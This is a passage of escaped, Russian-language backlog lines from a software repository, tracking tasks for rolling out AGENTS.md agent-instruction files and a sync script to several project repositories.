\u0432\u0435\u0434\u0451\u0442\u0441\u044f. \u0415\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b (`runs/`, `kb/`, `prompts/`, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b) \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f **\u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e** \u043f\u043e [ADR-014](../docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md) (`LG-1`\u2026`LG-6`) \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0449\u0430\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f, \u0432 \u0431\u044d\u043a\u043b\u043e\u0433\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430. |\\n95:| `mango-ba-ai-runtime` | `target` | \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f MVP. \u0417\u0430\u0434\u0430\u0447\u0438 \u0421\u043f\u0440\u0438\u043d\u0442\u0430 19 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043d\u0451\u043c. |\\n100:`mango-ba-ai-runtime` \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0425\u0430\u0431\u0430,\\n106:(V2 \u00ab\u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422/\u0422\u0417\u00bb), 7 (\u0442\u0440\u0438\u0433\u0433\u0435\u0440\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u044b RFC/ADR) \u0438 8 (\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 Mango \u043d\u0430\\n139:| **B-060** | \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043d\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f `projects-sink/` | **P3** | B-048 | DONE | [#589](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/589) / [PR #590](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/590) | Issue #380; B-034 Phase 4; ADR-007; `projects/` intake pain; B-171 | \u0410\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 `AGENTS.md` \u0432 `mango-ba-ai-runtime`: `projects-sink/agents-md/` \u0437\u0430\u0434\u0430\u0451\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u2192 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u2192 \u0430\u0434\u0430\u043f\u0442\u0430\u0446\u0438\u044f \u2192 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f\u00bb, \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 general/archetype/environment/project layers, \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u0441\u043b\u0435\u043f\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0441\u0440\u0435\u0434\u043e\u0432\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u0435\u0437 profile, \u0434\u0430\u0451\u0442 \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. Read-only \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 `aether-orbis` \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 `.hub-profile.json` \u0438 `AGENTS.md`: \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b \u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 profile \u0434\u043e \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438. | Creative |\\n210:\u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u2014 `mango-ba-ai-runtime`, \u0430 `mango_ba_prompts` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\\n219:\u0420\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 `AGENTS.md` \u0438 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0432 `mango-ba-ai-runtime` \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\\n224:\u041f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 `AGENTS.md` \u0438 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043b\u0435\u0436\u0430\u0442 \u0432 `mango-ba-ai-runtime` \u0438\\n227:`mango_ba_prompts`, \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u043a\u0430\u043a `CANCELLED` \u043f\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u0443 `legacy/archived`.\\n231:| **B-110** | \u041b\u0435\u0433\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f `AGENTS.md` \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0431\u0443\u0442\u0441\u0442\u0440\u0430\u043f\u0430 | **P1** | \u2014 | DONE | [#547](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/547) | [\u0410\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d](../docs/analysis/2026-09-03-ai-rules-compliance-failure-root-cause.md); [\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a](../research/hub/2026-09-03-ai-agent-onboarding-entrypoint-practices.md); [RFC \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 AGENTS.md](../docs/rfc/2026-09-03-rfc-agents-md-root-contract.md) (issue #551); decision record \u2014 [ADR-012 \u00ab\u041a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 `AGENTS.md` \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0443\u0442\u0441\u0442\u0440\u0430\u043f\u0430\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-012-agents-md-root-contract.md) (issue #559) | \u0423\u0437\u0430\u043a\u043e\u043d\u0438\u0442\u044c \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 `AGENTS.md`. **\u041f\u0443\u0442\u044c \u043b\u0435\u0433\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0435\u0448\u0451\u043d (`Q-1`, [ADR-012 \u00ab\u041a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 `AGENTS.md` \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0443\u0442\u0441\u0442\u0440\u0430\u043f\u0430\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-012-agents-md-root-contract.md)): \u0432\u0430\u0440\u0438\u0430\u043d\u0442 B \u2014 \u043d\u043e\u0432\u044b\u0439 `standards/agents-md-bootstrap-standard.md`; ADR-007 \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u0447\u0435\u0447\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c ADR, \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 ADR \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f.** \u0412\u043a\u043b\u044e\u0447\u0438\u0442\u044c `AGENTS.md` \u0432 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u0432 allowlist \u0438 `required_files` [`tools/validate-repository-structure.sh`](../tools/validate-repository-structure.sh), \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432 \u043a\u043e\u0440\u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 [`templates/agents-md-root-draft.md`](../templates/agents-md-root-draft.md), \u0437\u0430\u0432\u0435\u0441\u0442\u0438 \u0442\u043e\u043d\u043a\u0438\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 `CLAUDE.md` (\u0438\u043c\u043f\u043e\u0440\u0442 `@AGENTS.md`), `.github/copilot-instructions.md` \u0438 `.cursor/rules/` \u0431\u0435\u0437 \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u0438\u043b. \u0414\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u043d\u0430\u044f \u043b\u0435\u0433\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e RFC: \u0435\u0434\u0438\u043d\u044b\u0439 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u2014 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u0430\u044f \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043d\u043e\u0432\u0430\u0446\u0438\u044f \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0414\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b \u0432 \u043c\u043e\u0434\u0435\u043b\u044c-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e. **\u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043f\u043e issue #583:** \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 [`AGENTS.md`](../AGENTS.md) \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u043e\u0440\u043d\u0435 \u0425\u0430\u0431\u0430 \u0438 \u043b\u0435\u0433\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d; \u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0430 \u0432 \u0441\u043f\u0438\u0446\u044b \u0432\u0435\u0434\u0451\u0442\u0441\u044f `B-111` \u0438 \u0446\u0435\u043b\u0438\u0442\u0441\u044f \u0432 `mango-ba-ai-runtime`. | Structured |\\n232:| **B-111** | \u0421\u043a\u0440\u0438\u043f\u0442 `tools/inject-agents-md.sh` \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432 \u0441\u043f\u0438\u0446\u044b | **P1** | B-110, B-060 | todo | [#547](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/547) | \u0412\u044b\u0432\u043e\u0434 \u04126 [\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a](../research/hub/2026-09-03-ai-agent-onboarding-entrypoint-practices.md): Copilot \u0438 Cursor \u0447\u0438\u0442\u0430\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u0439\u043b\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0430\u043c\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f; [\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438](../projects-sink/agents-md/synchronization-rules.md) | \u0420\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 **\u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0444\u0430\u0439\u043b \u0432\u0441\u043b\u0435\u043f\u0443\u044e**, \u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e general/archetype/environment/project layers \u0438\u0437 `projects-sink/agents-md/`. \u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 `.hub-profile.json`, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 template \u0430\u0440\u0445\u0435\u0442\u0438\u043f\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 project delta \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0439 `derived_from` \u0441 \u0442\u043e\u0447\u043d\u044b\u043c upstream SHA \u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 profile/manifest. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f: dry-run \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u0441\u0435\u043a\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 `add/update/keep/remove-duplicate/conflict`, \u043e\u0442\u043a\u0430\u0437 \u043f\u0440\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u043a\u0430\u0445 \u0431\u0435\u0437 \u0444\u043b\u0430\u0433\u0430, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 CI/\u043f\u043e \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u044e, \u0437\u0430\u043f\u0438\u0441\u044c \u0432 `CHANGELOG` \u0441\u043f\u0438\u0446\u044b. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d \u043f\u0430\u0440\u043d\u044b\u0439 check-\u0440\u0435\u0436\u0438\u043c, \u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438/\u0434\u0440\u0435\u0439\u0444\u0435 `AGENTS.md`, \u0440\u0430\u0441\u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0438 profile \u0441\u043e ``, \u0434\u0443\u0431\u043b\u044f\u0445 \u043f\u0440\u0430\u0432\u0438\u043b \u0432 adapters \u0438 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0438 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438 EP-C1. **\u041f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e \u043f\u043e issue #583:** \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u2014 `mango-ba-ai-runtime` (\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e) \u0438 `aether-orbis`; `mango_ba_prompts` \u0438\u0441\u043a\u043b\u044e\u0447\u0451\u043d \u043a\u0430\u043a `legacy/archived`. | Structured |\\n233:| **B-112** | Mango: \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c `docs/contracts/` \u0438 \u0437\u0430\u0434\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043d\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 | **P1** | B-110 | CANCELLED | [#547](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/547) | \u041d\u0430\u0445\u043e\u0434\u043a\u0430 F2 [\u0430\u043d\u0430\u043b\u0438\u0437\u0430](../docs/analysis/2026-09-03-ai-rules-compliance-failure-root-cause.md): [`docs/contracts/kb-citations.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/contracts/kb-citations.md) | \u0414\u0432\u0443\u0445\u0447\u0430\u0441\u0442\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430. \u0412 \u0425\u0430\u0431\u0435: \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c [`standards/contract-documentation-standard.md`](../standards/contract-documentation-standard.md) \u0438 [`ops/repo-model.md`](repo-model.md) \u044f\u0432\u043d\u044b\u043c \u0434\u043e\u043c\u043e\u043c \u0434\u043b\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb \u2014 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0444\u043e\u0440\u043c\u0443, \u043d\u043e \u043d\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0433\u0434\u0435 \u043e\u043d \u0436\u0438\u0432\u0451\u0442\u00bb, \u0447\u0442\u043e \u0438 \u043f\u043e\u0440\u043e\u0434\u0438\u043b\u043e \u0441\u0431\u043e\u0439. \u0412 Mango: \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 `docs/contracts/` \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u044b\u0439 \u0434\u043e\u043c (`ai-rules/`), \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0443\u0431\u0440\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d\u043d\u043e\u0435 \u043f\u043e\u043b\u0435 `ai-generated` \u0438\u0437 frontmatter, \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0438. \u0417\u0430\u0434\u0430\u0447\u0430 \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439, \u043f\u043e\u043a\u0430 \u0437\u0430\u043f\u0440\u0435\u0442 \u043d\u0430 `docs/contracts/` \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e (\u0441\u043c. B-116). **\u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u043f\u043e \u043d\u0430\u0445\u043e\u0434\u043a\u0435 F7:** \u043f\u0443\u0442\u044c `docs/contracts/kb-citations.md` \u0431\u044b\u043b \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u0430\u043d \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00ab\u0413\u043e\u0442\u043e\u0432\u043e, \u043a\u043e\u0433\u0434\u0430\u00bb \u0437\u0430\u0434\u0430\u0447\u0438 [mango#353](https://github.com/G-Ivan-A/mango_ba_prompts/issues/353), \u0430 \u043d\u0435 \u0432\u044b\u0431\u0440\u0430\u043d \u0430\u0433\u0435\u043d\u0442\u043e\u043c, \u2014 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e: \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0438 \u043a\u0430\u043d\u0430\u043b \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 (B-116, \u043f\u0443\u043d\u043a\u0442 2), \u0438\u043d\u0430\u0447\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u00ab\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043f\u0440\u043e\u0442\u0438\u0432 DoD\u00bb. **\u041e\u0442\u043c\u0435\u043d\u0435\u043d\u043e \u043f\u043e issue #583:** \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0438 \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `docs/contracts/` \u0432 `mango_ba_prompts`, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d `legacy/archived` \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043d\u0435 \u043f\u043e\u0434\u043b\u0435\u0436\u0438\u0442. \u0427\u0430\u0441\u0442\u044c, \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0430\u044f\u0441\u044f \u043a \u0425\u0430\u0431\u0443 (\u044f\u0432\u043d\u044b\u0439 \u0434\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb \u0432 `standards/contract-documentation-standard.md` \u0438 `ops/repo-model.md`), \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u0430 \u0432 `B-169`; \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0437\u0430 `B-116` \u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0434\u043b\u044f \u043d\u043e\u0432\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432. | Structured |\\n234:| **B-113** | Aether-Orbis: \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441 \u0433\u0435\u043d\u043e\u043c\u043e\u043c | **P1** | B-110, B-111 | todo | [#547](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/547) | \u041d\u0430\u0445\u043e\u0434\u043a\u0430 F3 [\u0430\u043d\u0430\u043b\u0438\u0437\u0430](../docs/analysis/2026-09-03-ai-rules-compliance-failure-root-cause.md): \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 `.github/ISSUE_TEMPLATE` | \u0420\u0430\u0437\u043b\u043e\u0436\u0438\u0442\u044c \u0432 [aether-orbis](https://github.com/G-Ivan-A/aether-orbis) \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0433\u0435\u043d\u043e\u043c: `.github/ISSUE_TEMPLATE/task.md` \u0438 `task.yml` \u0438\u0437 \u0425\u0430\u0431\u0430, `AGENTS.md`, `CONTRIBUTING.md`, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0438\u0437 [`templates/spoke/`](../templates/spoke/README.md). \u041f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0440\u0435\u0432\u0438\u0437\u0438\u044e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 issues \u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u043a\u0430\u043a\u0438\u0435 \u0438\u0437 \u043d\u0438\u0445 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043f\u0435\u0440\u0435\u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u044f \u043f\u043e \u043f\u044f\u0442\u0438 \u0443\u0440\u043e\u0432\u043d\u044f\u043c \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0430 \u043a\u0430\u043a\u0438\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0435\u0441\u0442\u044c. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d \u0432\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0432 